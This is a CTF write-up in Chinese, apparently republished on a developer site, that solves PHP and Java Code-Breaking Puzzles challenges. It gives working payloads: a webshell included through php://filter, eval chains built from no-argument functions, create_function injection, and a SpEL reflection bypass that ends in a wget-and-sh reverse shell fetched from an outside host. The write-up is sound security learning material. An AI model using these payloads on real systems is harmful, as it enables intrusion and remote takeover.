Code-Breaking Puzzles 做题记录

栏目: Java · 发布时间: 7年前

内容简介:这个题最开始做上来的,但是做出来了个非预期解。最开始的题目:只要求不用括号和返单引号,想到了使用include,最后先上传了一个base64后的一句话,然后用include+filter进行包含:

代码审计圈子里看到Code-Breaking Puzzles,跟着学习着做下。

地址: https://code-breaking.com/

给P神的代码审计圈子打个广告,199元你买不了吃亏买不了上当:

Code-Breaking Puzzles 做题记录

easy - pcrewaf

这个题最开始做上来的,但是做出来了个非预期解。

最开始的题目:

<?php
function is_php($data){
    return preg_match('/<\?.*[\(\`].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}
var_dump($_FILES);
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} ?>

只要求不用括号和返单引号,想到了使用include,最后先上传了一个base64后的一句话,然后用include+filter进行包含:

<?
include 'php://filter/convert.base64-decode/resource=10.php';
?>

不太知道为什么直接菜刀连接不上去,最后直接用glob+file_get_contents拿到了flag

chopper=var_dump(glob('../../../*'));
chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

后来is_php进行了修改:

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

预期解法是利用 PHP 默认pcre最大回溯10w次(pcre.backtrack_limit=100000),令正则匹配上传内容时回溯超过10w从而匹配失败。

easy - phplimit

题目:

<?php
var_dump(__FUNCTION__);
//echo get_defined_vars();
echo  preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
	echo"\nerror";
//    show_source(__FILE__);
}

正则允许无限的无参数函数嵌套,并且去掉嵌套的函数以后只剩一个分号。

记得好像有个能获取全局所有变量的函数,查手册查到get_defined_vars函数,结合数组操作函数current、array_values可以拿到GET中的第一个参数(所以a那个参数要在code前面,因为用了array_values所以叫什么无所谓)。

最后的请求:

http://51.158.75.42:8084/?a=var_dump(glob(%27./../*%27));&code=eval(current(array_values(current(array_values(get_defined_vars())))));

http://51.158.75.42:8084/?a=var_dump(glob('./../flag_phpbyp4ss'));&code=eval(current(array_values(current(array_values(get_defined_vars())))));

easy - function

题目:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

需要action不能完全由数字字母下划线组成,想到了命名空间这回事,函数前面加个\就可以用了。

利用create_function函数进行代码执行,

参考:

http://blog.51cto.com/lovexm/1743442

懒一下,直接写结果:

http://51.158.75.42:8087/?action=\create_function&arg=2;}var_dump(glob(%27./../*%27));/*

http://51.158.75.42:8087/?action=\create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*

medium - javacon

这个题我想用idea调试来的,参考网上远程调试的文章,并且也把jar文件导入到项目里,最后下了断点还是不停,就先静态看了。。

题目有点类似Shiro反序列化漏洞的利用,Shiro的rememberMe存的是加密后的序列化对象,这个存的是加密后的SPEL。

题目从Cookie中获取remember-me参数并解密:

Code-Breaking Puzzles 做题记录

在getAdvanceValue函数中进行过滤+执行:

Code-Breaking Puzzles 做题记录

过滤规则及加密key:

Code-Breaking Puzzles 做题记录

一般利用java.lang.Runtime.getRuntime().exec(cmd)来执行命令,利用反射来绕过黑名单,最后得到EL:

#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'xxxxx')}

加密代码:

String a="#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'sh /tmp/414.sh')}";
        String b=encrypt("c0dehack1nghere1", "0123456789abcdef", a);
        System.out.println(b);

用dnslog测了下可以外连,用之前代码审计圈子提过的shell.now.sh反弹了shell。

似乎是因为http://jackson.thuraisamy.me/runtime-exec-payloads.html编码后的结果包含{},导致EL没法正常执行,最后分成了两条命令:

wget https://shell.now.sh/47.123.123.123:12345 -O /tmp/414.sh
sh /tmp/414.sh

提交:

Code-Breaking Puzzles 做题记录

拿到了flag

Code-Breaking Puzzles 做题记录

以上所述就是小编给大家介绍的《Code-Breaking Puzzles 做题记录》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

How to Solve It

How to Solve It

Zbigniew Michalewicz、David B. Fogel / Springer / 2004-03-01 / USD 59.95

This book is the only source that provides comprehensive, current, and detailed information on problem solving using modern heuristics. It covers classic methods of optimization, including dynamic pro......一起来看看 《How to Solve It》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

MD5 加密
MD5 加密

MD5 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具